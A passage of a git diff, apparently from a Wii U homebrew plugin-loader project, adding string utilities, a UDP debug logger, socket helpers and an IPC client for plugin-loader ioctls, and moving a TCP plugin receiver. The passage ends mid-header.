+BOOL StringTools::EndsWith(const std::string& a, const std::string& b) {
+    if (b.size() > a.size()) return false;
+    return std::equal(a.begin() + a.size() - b.size(), a.end(), b.begin());
+}
+
+const char * StringTools::byte_to_binary(int32_t x) {
+    static char b[9];
+    b[0] = '\0';
+
+    int32_t z;
+    for (z = 128; z > 0; z >>= 1) {
+        strcat(b, ((x & z) == z) ? "1" : "0");
+    }
+
+    return b;
+}
+
+std::string StringTools::removeCharFromString(std::string& input,char toBeRemoved) {
+    std::string output = input;
+    size_t position;
+    while(1) {
+        position = output.find(toBeRemoved);
+        if(position == std::string::npos)
+            break;
+        output.erase(position, 1);
+    }
+    return output;
+}
+
+const char * StringTools::fmt(const char * format, ...) {
+    static char strChar[512];
+    strChar[0] = 0;
+
+    va_list va;
+    va_start(va, format);
+    if((vsprintf(strChar, format, va) >= 0)) {
+        va_end(va);
+        return (const char *) strChar;
+    }
+    va_end(va);
+
+    return NULL;
+}
+
+const wchar_t * StringTools::wfmt(const char * format, ...) {
+    static char tmp[512];
+    static wchar_t strWChar[512];
+    strWChar[0] = 0;
+    tmp[0] = 0;
+
+    if(!format)
+        return (const wchar_t *) strWChar;
+
+    if(strcmp(format, "") == 0)
+        return (const wchar_t *) strWChar;
+
+    va_list va;
+    va_start(va, format);
+    if((vsprintf(tmp, format, va) >= 0)) {
+        int	bt;
+        int32_t strlength = strlen(tmp);
+        bt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512 );
+
+        if(bt > 0) {
+            strWChar[bt] = 0;
+            return (const wchar_t *) strWChar;
+        }
+    }
+    va_end(va);
+
+    return NULL;
+}
+
+int32_t StringTools::strprintf(std::string &str, const char * format, ...) {
+    static char tmp[512];
+    tmp[0] = 0;
+    int32_t result = 0;
+
+    va_list va;
+    va_start(va, format);
+    if((vsprintf(tmp, format, va) >= 0)) {
+        str = tmp;
+        result = str.size();
+    }
+    va_end(va);
+
+    return result;
+}
+
+std::string StringTools::strfmt(const char * format, ...) {
+    std::string str;
+    static char tmp[512];
+    tmp[0] = 0;
+
+    va_list va;
+    va_start(va, format);
+    if((vsprintf(tmp, format, va) >= 0)) {
+        str = tmp;
+    }
+    va_end(va);
+
+    return str;
+}
+
+BOOL StringTools::char2wchar_t(const char * strChar, wchar_t * dest) {
+    if(!strChar || !dest)
+        return false;
+
+    int	bt;
+    bt = mbstowcs(dest, strChar, strlen(strChar));
+    if (bt > 0) {
+        dest[bt] = 0;
+        return true;
+    }
+
+    return false;
+}
+
+int32_t StringTools::strtokcmp(const char * string, const char * compare, const char * separator) {
+    if(!string || !compare)
+        return -1;
+
+    char TokCopy[512];
+    strncpy(TokCopy, compare, sizeof(TokCopy));
+    TokCopy[511] = '\0';
+
+    char * strTok = strtok(TokCopy, separator);
+
+    while (strTok != NULL) {
+        if (strcasecmp(string, strTok) == 0) {
+            return 0;
+        }
+        strTok = strtok(NULL,separator);
+    }
+
+    return -1;
+}
+
+int32_t StringTools::strextcmp(const char * string, const char * extension, char seperator) {
+    if(!string || !extension)
+        return -1;
+
+    char *ptr = strrchr(string, seperator);
+    if(!ptr)
+        return -1;
+
+    return strcasecmp(ptr + 1, extension);
+}
+
+
+std::vector<std::string> StringTools::stringSplit(const std::string & inValue, const std::string & splitter) {
+    std::string value = inValue;
+    std::vector<std::string> result;
+    while (true) {
+        uint32_t index = value.find(splitter);
+        if (index == std::string::npos) {
+            result.push_back(value);
+            break;
+        }
+        std::string first = value.substr(0, index);
+        result.push_back(first);
+        if (index + splitter.size() == value.length()) {
+            result.push_back("");
+            break;
+        }
+        if(index + splitter.size() > value.length()) {
+            break;
+        }
+        value = value.substr(index + splitter.size(), value.length());
+    }
+    return result;
+}
diff --git a/src/utils/StringTools.h b/src/utils/StringTools.h
new file mode 100644
index 0000000..c648f4c
--- /dev/null
+++ b/src/utils/StringTools.h
@@ -0,0 +1,82 @@
+/***************************************************************************
+ * Copyright (C) 2010
+ * by Dimok
+ *
+ * This software is provided 'as-is', without any express or implied
+ * warranty. In no event will the authors be held liable for any
+ * damages arising from the use of this software.
+ *
+ * Permission is granted to anyone to use this software for any
+ * purpose, including commercial applications, and to alter it and
+ * redistribute it freely, subject to the following restrictions:
+ *
+ * 1. The origin of this software must not be misrepresented; you
+ * must not claim that you wrote the original software. If you use
+ * this software in a product, an acknowledgment in the product
+ * documentation would be appreciated but is not required.
+ *
+ * 2. Altered source versions must be plainly marked as such, and
+ * must not be misrepresented as being the original software.
+ *
+ * 3. This notice may not be removed or altered from any source
+ * distribution.
+ *
+ * for WiiXplorer 2010
+ ***************************************************************************/
+#ifndef __STRING_TOOLS_H
+#define __STRING_TOOLS_H
+
+#include <vector>
+#include <string>
+#include <wut_types.h>
+
+class StringTools{
+    public:
+        static BOOL EndsWith(const std::string& a, const std::string& b);
+        static const char * byte_to_binary(int32_t x);
+        static std::string removeCharFromString(std::string& input,char toBeRemoved);
+        static const char * fmt(const char * format, ...);
+        static const wchar_t * wfmt(const char * format, ...);
+        static int32_t strprintf(std::string &str, const char * format, ...);
+        static std::string strfmt(const char * format, ...);
+        static BOOL char2wchar_t(const char * src, wchar_t * dest);
+        static int32_t strtokcmp(const char * string, const char * compare, const char * separator);
+        static int32_t strextcmp(const char * string, const char * extension, char seperator);
+
+        static const char * FullpathToFilename(const char *path){
+            if(!path) return path;
+
+            const char * ptr = path;
+            const char * Filename = ptr;
+
+            while(*ptr != '\0')
+            {
+                if(ptr[0] == '/' && ptr[1] != '\0')
+                    Filename = ptr+1;
+
+                ++ptr;
+            }
+
+            return Filename;
+        }
+
+        static void RemoveDoubleSlashs(std::string &str){
+            uint32_t length = str.size();
+
+            //! clear path of double slashes
+            for(uint32_t i = 1; i < length; ++i)
+            {
+                if(str[i-1] == '/' && str[i] == '/')
+                {
+                    str.erase(i, 1);
+                    i--;
+                    length--;
+                }
+            }
+        }
+
+        static std::vector<std::string> stringSplit(const std::string & value, const std::string & splitter);
+};
+
+#endif /* __STRING_TOOLS_H */
+
diff --git a/src/myutils/TcpReceiver.cpp b/src/utils/TcpReceiver.cpp
similarity index 85%
rename from src/myutils/TcpReceiver.cpp
rename to src/utils/TcpReceiver.cpp
index 41638f2..cd78166 100644
--- a/src/myutils/TcpReceiver.cpp
+++ b/src/utils/TcpReceiver.cpp
@@ -7,16 +7,12 @@
 
 #include "common/common.h"
 #include "TcpReceiver.h"
-#include <dynamic_libs/os_functions.h>
-#include <dynamic_libs/socket_functions.h>
 #include <fs/CFile.hpp>
 #include <fs/FSUtils.h>
 #include <utils/logger.h>
 #include <utils/StringTools.h>
 #include <utils/net.h>
 #include "Application.h"
-#include "plugin/PluginLoader.h"
-#include "plugin/PluginInformation.h"
 
 TcpReceiver::TcpReceiver(int32_t port)
     : CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff)
@@ -64,7 +60,7 @@ void TcpReceiver::executeThread() {
     int32_t addrlen = sizeof(struct sockaddr);
 
     while(!exitRequested) {
-        int32_t clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &addrlen);
+        int32_t clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, (socklen_t *)&addrlen);
         if(clientSocket >= 0) {
             uint32_t ipAddress = clientAddr.sin_addr.s_addr;
             //serverReceiveStart(this, ipAddress);
@@ -75,7 +71,7 @@ void TcpReceiver::executeThread() {
             if(result > 0)
                 break;
         } else {
-            os_usleep(100000);
+            OSSleepTicks(OSMicrosecondsToTicks(100000));
         }
     }
 
@@ -105,7 +101,7 @@ int32_t TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) {
 
     unsigned char* loadAddress = (unsigned char*)memalign(0x40, fileSize);
     if(!loadAddress) {
-        os_sleep(1);
+        OSSleepTicks(OSSecondsToTicks(1));
         return NOT_ENOUGH_MEMORY;
     }
 
@@ -128,7 +124,6 @@ int32_t TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) {
     if(bytesRead != fileSize) {
         free(loadAddress);
         DEBUG_FUNCTION_LINE("File loading not finished, %i of %i bytes received\n", bytesRead, fileSize);
-        os_sleep(1);
         return FILE_READ_ERROR;
     }
 
@@ -147,7 +142,7 @@ int32_t TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) {
             inflatedData = (unsigned char*)malloc(fileSizeUnc);
             if(!inflatedData) {
                 free(loadAddress);
-                os_sleep(1);
+
                 return NOT_ENOUGH_MEMORY;
             }
 
@@ -163,7 +158,7 @@ int32_t TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) {
             if (ret != Z_OK) {
                 free(loadAddress);
                 free(inflatedData);
-                os_sleep(1);
+
                 return FILE_READ_ERROR;
             }
 
@@ -177,7 +172,7 @@ int32_t TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) {
             if (ret != Z_OK && ret != Z_STREAM_END) {
                 free(loadAddress);
                 free(inflatedData);
-                os_sleep(1);
+
                 return FILE_READ_ERROR;
             }
 
@@ -188,7 +183,7 @@ int32_t TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) {
             inflatedData = (unsigned char*)malloc(fileSizeUnc);
             if(!inflatedData) {
                 free(loadAddress);
-                os_sleep(1);
+
                 return NOT_ENOUGH_MEMORY;
             }
 
@@ -196,7 +191,7 @@ int32_t TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) {
             int32_t result = uncompress((Bytef*)&inflatedData[0], &f, (Bytef*)loadAddress, fileSize);
             if(result != Z_OK) {
                 DEBUG_FUNCTION_LINE("uncompress failed %i\n", result);
-                os_sleep(1);
+
                 return FILE_READ_ERROR;
             }
 
@@ -215,23 +210,9 @@ int32_t TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) {
     }
 
     if(!res) {
-        os_sleep(1);
+
         return NOT_ENOUGH_MEMORY;
     }
 
-    PluginInformation * plugin = PluginInformation::loadPluginInformation(WUPS_TEMP_PLUGIN_FILE);
-    if(plugin == NULL) {
-        return NOT_A_VALID_PLUGIN;
-    }
-    delete plugin;
-    PluginLoader * pluginLoader = PluginLoader::getInstance();
-    pluginLoader->resetPluginLoader();
-    std::vector<PluginInformation* > pluginList = pluginLoader->getPluginInformation(WUPS_TEMP_PLUGIN_PATH);
-    if(pluginList.size() == 0 || !pluginLoader->loadAndLinkPlugins(pluginList)) {
-        return NOT_A_VALID_PLUGIN;
-    }
-    pluginLoader->clearPluginInformation(pluginList);
-    Application::instance()->quit(APPLICATION_CLOSE_APPLY);
-
     return fileSize;
 }
diff --git a/src/myutils/TcpReceiver.h b/src/utils/TcpReceiver.h
similarity index 96%
rename from src/myutils/TcpReceiver.h
rename to src/utils/TcpReceiver.h
index c19724a..8f1cbb9 100644
--- a/src/myutils/TcpReceiver.h
+++ b/src/utils/TcpReceiver.h
@@ -3,7 +3,6 @@
 
 #include <vector>
 #include <string>
-#include <dynamic_libs/os_types.h>
 
 #include <system/CThread.h>
 #include <gui/sigslot.h>
diff --git a/src/utils/ipcclient.cpp b/src/utils/ipcclient.cpp
new file mode 100644
index 0000000..c9328fd
--- /dev/null
+++ b/src/utils/ipcclient.cpp
@@ -0,0 +1,240 @@
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include <malloc.h>
+#include "utils/logger.h"
+#include "utils/utils.h"
+
+#include "ipcclient.h"
+
+int (*ipc_ioctl)(ipcmessage *message) = (int (*)(ipcmessage*)) *(uint32_t*)0x80800000;
+
+#define ALIGN(align)       __attribute__((aligned(align)))
+
+int32_t doIOCTL(int32_t command, uint32_t *in_buf, uint32_t in_length, uint32_t *io_buf, uint32_t io_length) {
+    ALIGN(0x20) ipcmessage message;
+
+    memset(&message,0,sizeof(message));
+
+    message.command = command;
+
+    message.ioctl.buffer_in = in_buf;
+    message.ioctl.length_in = in_length;
+    message.ioctl.buffer_io = io_buf;
+    message.ioctl.length_io = io_length;
+
+    DEBUG_FUNCTION_LINE("command: %d in_buf %08X size: %d io_buf %08X size: %d \n",command, in_buf,in_length,io_buf,io_length);
+
+    //DCFlushRange(&message, sizeof(ipcmessage));
+    //ICInvalidatRange(&message, sizeof(ipcmessage));
+
+    return ipc_ioctl(&message);
+}
+
+plugin_loader_handle IPC_Open_Plugin_Loader(uint32_t startAddress, uint32_t endAddress) {
+    uint32_t *io_buf = (uint32_t*)memalign(0x20, ROUNDUP(8,0x20));
+    if(!io_buf) {
+        return (plugin_loader_handle) NULL;
+    }
+
+    io_buf[0] = startAddress;
+    io_buf[1] = endAddress;
+
+    int32_t ret = doIOCTL(IOCTL_OPEN_PLUGIN_LOADER, io_buf, 8, io_buf, 4);
+    if(ret < 0) {
+        free(io_buf);
+        return (plugin_loader_handle) NULL;
+    }
+
+    plugin_information_handle result = (plugin_loader_handle) io_buf[0];
+    free(io_buf);
+    return result;
+}
+
+bool IPC_Close_Plugin_Loader(plugin_loader_handle handle) {
+    uint32_t *io_buf = (uint32_t*)memalign(0x20, ROUNDUP(4,0x20));
+    if(!io_buf) {
+        return false;
+    }
+
+    io_buf[0] = handle;
+
+    int32_t ret = doIOCTL(IOCTL_CLOSE_PLUGIN_LOADER, io_buf, 4, NULL, 0);
+    if(ret < 0) {
+        free(io_buf);
+        return false;
+    }
+
+    free(io_buf);
+    return true;
+}
+
+int32_t IPC_Get_Plugin_Information(plugin_loader_handle handle, const char * path, plugin_information_handle ** handleList, uint32_t * handleListSize) {
+    uint32_t buffersize = ROUNDUP((128 * sizeof(plugin_information_handle)) + 4,0x20);
+    uint32_t *io_buf = (uint32_t*)memalign(0x20, buffersize);
+    if(!io_buf) {
+        return -1;
+    }
+
+    io_buf[0] = handle;
+    io_buf[1] = (uint32_t) path;
+
+    int32_t ret = doIOCTL(IOCTL_PLUGIN_LOADER_GET_INFORMATION_FOR_PATH, io_buf, 8, io_buf, buffersize);
+    if(ret < 0) {
+        free(io_buf);
+        return ret;
+    }
+    uint32_t length = io_buf[0];
+    if(handleListSize != NULL) {
+        *handleListSize = length;
+    }
+
+    uint32_t result = -1;
+
+    if(handleList != NULL) {
+        // we create a new buffer so the caller can free it properly
+        uint32_t outbuffersize = ROUNDUP((length * sizeof(plugin_information_handle)),0x20);
+        *handleList = (uint32_t*)memalign(0x20, outbuffersize);
+        if(*handleList != NULL) {
+            result = 0;
+            memcpy(*handleList, &(io_buf[1]), length * sizeof(plugin_information_handle));
+        }
+    }
+
+    free(io_buf);
+    return result;
+}
+
+int32_t IPC_Get_Plugin_Information_Loaded(plugin_loader_handle handle, plugin_information_handle ** handleList, uint32_t * handleListSize) {
+    uint32_t buffersize = ROUNDUP((128 * sizeof(plugin_information_handle)) + 4,0x20);
+    uint32_t *io_buf = (uint32_t*)memalign(0x20, buffersize);
+    if(!io_buf) {
+        return -1;
+    }
+
+    io_buf[0] = handle;
+
+    int32_t ret = doIOCTL(IOCTL_PLUGIN_LOADER_GET_INFORMATION_LOADED, io_buf, 4, io_buf, buffersize);
+    if(ret < 0) {
+        free(io_buf);
+        return ret;
+    }
+    DEBUG_FUNCTION_LINE("IPC_Get_Plugin_Information_Loaded was fine\n");
+
+    uint32_t length = io_buf[0];
+    if(handleListSize != NULL) {
+        DEBUG_FUNCTION_LINE("length set to %d\n", length);
+        *handleListSize = length;
+    }
+    uint32_t result = -1;
+
+    if(handleList != NULL && length > 0) {
+        // we create a new buffer so the caller can free it properly
+        uint32_t outbuffersize = ROUNDUP((length * sizeof(plugin_information_handle)),0x20);
+        *handleList = (uint32_t*)memalign(0x20, outbuffersize);
+        if(*handleList != NULL) {
+            result = 0;
+            memcpy(*handleList, &(io_buf[1]), length * sizeof(plugin_information_handle));
+        }
+    }
+
+    free(io_buf);
+    return result;
+}
+
+int32_t IPC_Get_Plugin_Information_Details(plugin_loader_handle handle, plugin_information_handle * handles, uint32_t handlesize, plugin_information ** informationList, uint32_t * informationListSize) {
+    uint32_t buffersize = ROUNDUP((handlesize * sizeof(plugin_information)),0x20);
+    if(buffersize < 8){
+        buffersize = 8;
+    }
+    uint32_t *io_buf = (uint32_t*)memalign(0x20, buffersize);
+    if(!io_buf) {
+        if(io_buf != NULL) {
+            free(io_buf);
+        }
+        return -1;
+    }
+
+    io_buf[0] = (uint32_t) handles;
+    io_buf[1] = handlesize;
+
+    int32_t ret = doIOCTL(IOCTL_PLUGIN_LOADER_GET_INFORMATION_DETAILS, io_buf, 8, io_buf, buffersize);
+    if(ret < 0) {
+        free(io_buf);
+        return ret;
+    }
+
+    uint32_t result = -1;
+
+    if(informationListSize != NULL) {
+        *informationListSize = handlesize;
+    }
+
+    if(informationList != NULL) {
+        // we create a new buffer so the caller can free it properly
+        uint32_t outbuffersize = ROUNDUP((handlesize * sizeof(plugin_information)),0x20);
+        *informationList = (plugin_information*)memalign(0x20, outbuffersize);
+        if(*informationList != NULL) {
+            result = 0;
+            memcpy(*informationList, &(io_buf[0]), handlesize * sizeof(plugin_information));
+        }
+    }
+
+    free(io_buf);
+    return result;
+}
+
+int32_t IPC_Delete_Plugin_Information(plugin_information_handle handle) {
+    uint32_t *io_buf = (uint32_t*)memalign(0x20, ROUNDUP(4,0x20));
+    if(!io_buf) {
+        if(io_buf != NULL) {
+            free(io_buf);
+        }
+        return -1;
+    }
+
+    io_buf[0] = (uint32_t) handle;
+
+    int32_t ret = doIOCTL(IOCTL_PLUGIN_LOADER_DELETE_INFORMATION, io_buf, 4, NULL, 0);
+    if(ret < 0) {
+        free(io_buf);
+        return ret;
+    }
+
+    free(io_buf);
+    return 0;
+}
+
+int32_t IPC_Link_Plugin_Information(plugin_loader_handle handle, plugin_information_handle * handleList, uint32_t listSize) {
+    uint32_t buffersize = ROUNDUP((listSize * sizeof(plugin_information_handle)),0x20);
+    uint32_t io_buffersize = ROUNDUP(12,0x20);
+    uint32_t *io_buf = (uint32_t*)memalign(0x20, io_buffersize);
+    uint32_t * buf = (uint32_t*)memalign(0x20, buffersize);
+    if(!io_buf || !buf) {
+        if(buf != NULL) {
+            free(buf);
+        }
+        if(io_buf != NULL) {
+            free(io_buf);
+        }
+        return -1;
+    }
+
+    memcpy(buf, handleList, listSize * sizeof(plugin_information_handle*));
+
+    io_buf[0] = handle;
+    io_buf[1] = (uint32_t) buf;
+    io_buf[2] = listSize;
+
+    int32_t ret = doIOCTL(IOCTL_PLUGIN_LOADER_LINK_VIA_INFORMATION, io_buf, 12, io_buf, io_buffersize);
+    if(ret < 0) {
+        free(io_buf);
+        free(buf);
+        return ret;
+    }
+    int32_t result = (int32_t) io_buf[0];
+
+    free(io_buf);
+    free(buf);
+    return result;
+}
diff --git a/src/utils/ipcclient.h b/src/utils/ipcclient.h
new file mode 100644
index 0000000..165e8f7
--- /dev/null
+++ b/src/utils/ipcclient.h
@@ -0,0 +1,67 @@
+#ifndef __IPC_UTILS_H_
+#define __IPC_UTILS_H_
+
+#include <vector>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define IPC_ERROR_INVALID_NONE      0
+#define IPC_ERROR_INVALID_SIZE      0xFFFFFFFF
+#define IPC_ERROR_INVALID_ARG       0xFFFFFFFE
+#define IPC_ERROR_FAILED_ALLOC      0xFFFFFFFD
+
+#define IOCTL_OPEN_PLUGIN_LOADER                        0x01
+#define IOCTL_CLOSE_PLUGIN_LOADER                       0x02
+#define IOCTL_PLUGIN_LOADER_GET_INFORMATION_FOR_PATH    0x03
+#define IOCTL_PLUGIN_LOADER_GET_INFORMATION_LOADED      0x04
+#define IOCTL_PLUGIN_LOADER_GET_INFORMATION_DETAILS     0x05
+#define IOCTL_PLUGIN_LOADER_DELETE_INFORMATION          0x06
+#define IOCTL_PLUGIN_LOADER_LINK_VIA_INFORMATION        0x07
+
+/* IPC message */
+typedef struct ipcmessage {
+    uint32_t command;
+    union {
+        struct {
+            uint32_t *buffer_in;
+            uint32_t  length_in;
+            uint32_t *buffer_io;
+            uint32_t  length_io;
+        } ioctl;
+    };
+} __attribute__((packed)) ipcmessage;
+
+typedef uint32_t plugin_information_handle;
+typedef uint32_t plugin_loader_handle;
+
+/* plugin_information message */
+typedef struct plugin_information {
+    plugin_information_handle handle;
+    char path[256];
+    char name[256];
+    char author[256];
+} plugin_information;
+
+extern int (*ipc_ioctl)(ipcmessage *message);
+
+plugin_loader_handle IPC_Open_Plugin_Loader(uint32_t startAddress, uint32_t endAddress);
+
+bool IPC_Close_Plugin_Loader(plugin_loader_handle handle);
+
+
+int32_t IPC_Get_Plugin_Information(plugin_loader_handle handle, const char * path, plugin_information_handle ** handleList, uint32_t * handleListSize);
+int32_t IPC_Get_Plugin_Information_Loaded(plugin_loader_handle handle, plugin_information_handle ** handleList, uint32_t * handleListSize);
+int32_t IPC_Get_Plugin_Information_Details(plugin_loader_handle handle, plugin_information_handle * handles, uint32_t handlesize, plugin_information ** informationList, uint32_t * informationListSize);
+
+int32_t IPC_Delete_Plugin_Information(plugin_information_handle handle);
+
+int32_t IPC_Link_Plugin_Information(plugin_loader_handle handle, plugin_information_handle * handleList, uint32_t listSize);
+
+#ifdef __cplusplus
+}
+#endif
+
+
+#endif
diff --git a/src/utils/logger.c b/src/utils/logger.c
new file mode 100644
index 0000000..ed95731
--- /dev/null
+++ b/src/utils/logger.c
@@ -0,0 +1,82 @@
+#include <stdarg.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <errno.h>
+#include <utils/logger.h>
+#include <nsysnet/socket.h>
+#include <coreinit/debug.h>
+
+#include <coreinit/systeminfo.h>
+#include <coreinit/thread.h>
+
+static int log_socket __attribute__((section(".data")))= -1;
+static struct sockaddr_in connect_addr __attribute__((section(".data")));
+static volatile int log_lock __attribute__((section(".data"))) = 0;
+
+void log_init_() {
+    int broadcastEnable = 1;
+    log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
+    if (log_socket < 0)
+        return;
+
+    setsockopt(log_socket, SOL_SOCKET, SO_BROADCAST, &broadcastEnable, sizeof(broadcastEnable));
+
+    memset(&connect_addr, 0, sizeof(struct sockaddr_in));
+    connect_addr.sin_family = AF_INET;
+    connect_addr.sin_port = 4405;
+    connect_addr.sin_addr.s_addr = htonl(INADDR_BROADCAST);
+}
+
+void log_print_(const char *str) {
+    // socket is always 0 initially as it is in the BSS
+    if(log_socket < 0) {
+        return;
+    }
+
+    while(log_lock)
+       OSSleepTicks(OSMicrosecondsToTicks(1000));
+    log_lock = 1;
+
+    int len = strlen(str);
+    int ret;
+    while (len > 0) {
+        int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet
+        ret = sendto(log_socket, str, block, 0, (struct sockaddr *)&connect_addr, sizeof(struct sockaddr_in));
+        if(ret < 0)
+            break;
+
+        len -= ret;
+        str += ret;
+    }
+
+    log_lock = 0;
+}
+
+void OSFatal_printf(const char *format, ...) {
+     char tmp[512];
+    tmp[0] = 0;
+    va_list va;
+    va_start(va, format);
+    if((vsprintf(tmp, format, va) >= 0)) {
+        OSFatal(tmp);
+    }
+    va_end(va);
+}
+
+void log_printf_(const char *format, ...) {
+    if(log_socket < 0) {
+        return;
+    }
+
+    char tmp[512];
+    tmp[0] = 0;
+
+    va_list va;
+    va_start(va, format);
+    if((vsprintf(tmp, format, va) >= 0)) {
+        log_print_(tmp);
+    }
+    va_end(va);
+}
+
diff --git a/src/utils/logger.h b/src/utils/logger.h
new file mode 100644
index 0000000..a5b4919
--- /dev/null
+++ b/src/utils/logger.h
@@ -0,0 +1,39 @@
+#ifndef __LOGGER_H_
+#define __LOGGER_H_
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <string.h>
+
+void log_init_();
+//void log_deinit_(void);
+void log_print_(const char *str);
+void log_printf_(const char *format, ...);
+void OSFatal_printf(const char *format, ...);
+
+#define __FILENAME_X__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__)
+#define __FILENAME__ (strrchr(__FILE__, '/') ? strrchr(__FILE__, '/') + 1 : __FILENAME_X__)
+
+#define OSFATAL_FUNCTION_LINE(FMT, ARGS...)do { \
+    OSFatal_printf("[%s]%s@L%04d: " FMT "",__FILENAME__,__FUNCTION__, __LINE__, ## ARGS); \
+    } while (0)
+
+
+#define log_init() log_init_()
+//#define log_deinit() log_deinit_()
+#define log_print(str) log_print_(str)
+#define log_printf(FMT, ARGS...)  log_printf_(FMT, ## ARGS);
+
+#define DEBUG_FUNCTION_LINE(FMT, ARGS...)do { \
+    log_printf("[%23s]%30s@L%04d: " FMT "",__FILENAME__,__FUNCTION__, __LINE__, ## ARGS); \
+    } while (0)
+
+
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/src/utils/net.c b/src/utils/net.c
new file mode 100644
index 0000000..c615d92
--- /dev/null
+++ b/src/utils/net.c
@@ -0,0 +1,84 @@
+#include "net.h"
+#include <unistd.h>
+
+static volatile int socket_lock __attribute__((section(".data"))) = 0;
+
+int32_t recvwait(int32_t sock, void *buffer, int32_t len) {
+    while(socket_lock) {
+        usleep(1000);
+    }
+    int32_t ret;
+    while (len > 0) {
+        ret = recv(sock, buffer, len, 0);
+        if(ret < 0) {
+            socket_lock = 0;
+            return ret;
+        }
+        len -= ret;
+        buffer =  (void *)(((char *) buffer) + ret);
+    }
+    socket_lock = 0;
+    return 0;
+}
+
+uint8_t recvbyte(int32_t sock) {
+    unsigned char buffer[1];
+    int32_t ret;
+
+    ret = recvwait(sock, buffer, 1);
+    if (ret < 0)
+        return ret;
+    return buffer[0];
+}
+
+uint32_t recvword(int32_t sock) {
+    uint32_t result;
+    int32_t ret;
+
+    ret = recvwait(sock, &result, 4);
+    if (ret < 0)
+        return ret;
+    return result;
+}
+
+int32_t checkbyte(int32_t sock) {
+    while(socket_lock) {
+        usleep(1000);
+    }
+    unsigned char buffer[1];
+    int32_t ret;
+
+    ret = recv(sock, buffer, 1, MSG_DONTWAIT);
+    socket_lock = 0;
+    if (ret < 0)
+        return ret;
+    if (ret == 0)
+        return -1;
+    return buffer[0];
+}
+
+int32_t sendwait(int32_t sock, const void *buffer, int32_t len) {
+    while(socket_lock) {
+        usleep(1000);
+    }
+    int32_t ret;
+    while (len > 0) {
+        // For some reason the send blocks/crashes if the buffer is too big..
+        int cur_length = len <= 0x30 ? len : 0x30;
+        ret = send(sock, buffer, cur_length, 0);
+        if(ret < 0) {
+            socket_lock = 0;
+            return ret;
+        }
+        len -= ret;
+        buffer =  (void *)(((char *) buffer) + ret);
+    }
+    socket_lock = 0;
+    return 0;
+}
+
+int32_t sendbyte(int32_t sock, unsigned char byte) {
+    unsigned char buffer[1];
+    buffer[0] = byte;
+    return sendwait(sock, buffer, 1);
+}
diff --git a/src/utils/net.h b/src/utils/net.h
new file mode 100644
index 0000000..595a71b
--- /dev/null
+++ b/src/utils/net.h
@@ -0,0 +1,22 @@
+#ifndef _UTILS_NET_H_
+#define _UTILS_NET_H_
+#include <stdint.h>
+#include <nsysnet/socket.h>
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+
+
+int32_t recvwait(int32_t sock, void *buffer, int32_t len);
+uint8_t recvbyte(int32_t sock);
+uint32_t recvword(int32_t sock);
+int32_t checkbyte(int32_t sock);
+int32_t sendwait(int32_t sock, const void *buffer, int32_t len);
+int32_t sendbyte(int32_t sock, unsigned char byte);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/src/utils/utils.c b/src/utils/utils.c
new file mode 100644
index 0000000..0042415
--- /dev/null
+++ b/src/utils/utils.c
@@ -0,0 +1,41 @@
+#include <string.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <malloc.h>
+#include <utils/logger.h>
+
+// https://gist.github.com/ccbrown/9722406
+void dumpHex(const void* data, size_t size) {
+    char ascii[17];
+    size_t i, j;
+    ascii[16] = '\0';
+    DEBUG_FUNCTION_LINE("0x%08X (0x0000): ", data);
+    for (i = 0; i < size; ++i) {
+        log_printf("%02X ", ((unsigned char*)data)[i]);
+        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
+            ascii[i % 16] = ((unsigned char*)data)[i];
+        } else {
+            ascii[i % 16] = '.';
+        }
+        if ((i+1) % 8 == 0 || i+1 == size) {
+            log_printf(" ");
+            if ((i+1) % 16 == 0) {
+                log_printf("|  %s \n", ascii);
+                if(i + 1 < size) {
+                    DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1,i+1);
+                }
+            } else if (i+1 == size) {
+                ascii[(i+1) % 16] = '\0';
+                if ((i+1) % 16 <= 8) {
+                    log_printf(" ");
+                }
+                for (j = (i+1) % 16; j < 16; ++j) {
+                    log_printf("   ");
+                }
+                log_printf("|  %s \n", ascii);
+            }
+        }
+    }
+}
diff --git a/src/utils/utils.h b/src/utils/utils.h
new file mode 100644
index 0000000..8b3c8d5
--- /dev/null
+++ b/src/utils/utils.h
@@ -0,0 +1,38 @@
+#ifndef __UTILS_H_
+#define __UTILS_H_
+
+#include <malloc.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define LIMIT(x, min, max)																	\
+	({																						\
+		typeof( x ) _x = x;																	\
+		typeof( min ) _min = min;															\
+		typeof( max ) _max = max;															\
+		( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) );	\
+})
+
+#define DegToRad(a)   ( (a) *  0.01745329252f )
+#define RadToDeg(a) ( (a) * 57.29577951f )
+
+#define ALIGN4(x)           (((x) + 3) & ~3)
+#define ALIGN32(x) (((x) + 31) & ~31)
+
+
+#define ROUNDUP(x, align)  (((x) + ((align) - 1)) & ~((align) - 1))
+
+#define le16(i)         ((((uint16_t) ((i) & 0xFF)) << 8) | ((uint16_t) (((i) & 0xFF00) >> 8)))
